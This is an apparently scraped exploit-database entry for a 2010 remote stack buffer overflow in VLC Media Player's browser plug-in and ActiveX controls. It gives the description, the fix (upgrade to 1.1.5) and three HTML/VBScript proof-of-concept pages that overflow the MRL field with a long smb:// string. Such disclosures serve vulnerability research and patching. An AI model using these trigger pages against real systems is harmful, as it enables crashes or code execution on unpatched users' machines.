VLC Media Player Remote Stack-based Buffer Overflow

vendor:

VLC Media Player

by:

shinnai

7.5

CVSS

HIGH

Remote stack-based buffer overflow

119

CWE

Product Name: VLC Media Player

Affected Version From: Prior to VLC Media Player 1.1.5 for Windows

Affected Version To:

Patch Exists: YES

Related CWE:

CPE: a:vlc_media_player:vlc_media_player:1.1.4

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 professional full patched against Firefox 3.6.11, Windows 7 professional full patched against Internet Explorer 8

2010

VLC Media Player Remote Stack-based Buffer Overflow

VLC Media Player is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

Mitigation:

Update to VLC Media Player 1.1.5 for Windows or later versions.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/44909/info

VLC Media Player is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

Versions prior to VLC Media Player 1.1.5 for Windows are vulnerable. 

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 VLC Multimedia Plug-in and/or Activex 1.1.4 MRL handler remote buffer overflow

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.altervista.org/

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Note that the activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} is marked as follow:
 
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 ***

 Note that the activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} is marked as follow:

 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 Tested on:
 Windows 7 professional full patched against Firefox 3.6.11
 Windows 7 professional full patched against Internet Explorer 8
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 Plug-in Version:

 <html>  
  <embed type="application/x-vlc-plugin" MRL="smb://Something.com@www.Something.com/#{aaaaaaaaaaaaaaaaaaaaaa}"></embed>
 </html>
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 Activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} version:

 <html>
  <object classid='clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921' id='test'></object>
  <script language = 'vbscript'>
   buff = String(500, "A")
   test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"
  </script>
 </html>
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 Activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} version:

 <html>
  <object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8' id='test'></object>
  <script language = 'vbscript'>
   buff = String(500, "A")
   test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"
  </script>
 </html>
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